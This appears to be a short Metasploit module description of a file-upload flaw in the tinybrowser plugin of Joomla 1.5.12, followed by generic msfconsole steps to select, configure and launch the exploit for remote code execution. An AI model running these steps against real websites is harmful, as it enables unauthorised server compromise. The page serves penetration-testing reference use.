This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.
This plugin is not secured in version 1.5.12 of joomla and allows the upload
of files on the remote server.
By renaming the uploaded file this vulnerability can be used to upload/execute
code on the affected system.
msf > use exploit/unix/webapp/joomla_tinybrowser
msf exploit(joomla_tinybrowser) > show targets
...targets...
msf exploit(joomla_tinybrowser) > set TARGET <target-id>
msf exploit(joomla_tinybrowser) > show options
...show and set options...
msf exploit(joomla_tinybrowser) > exploit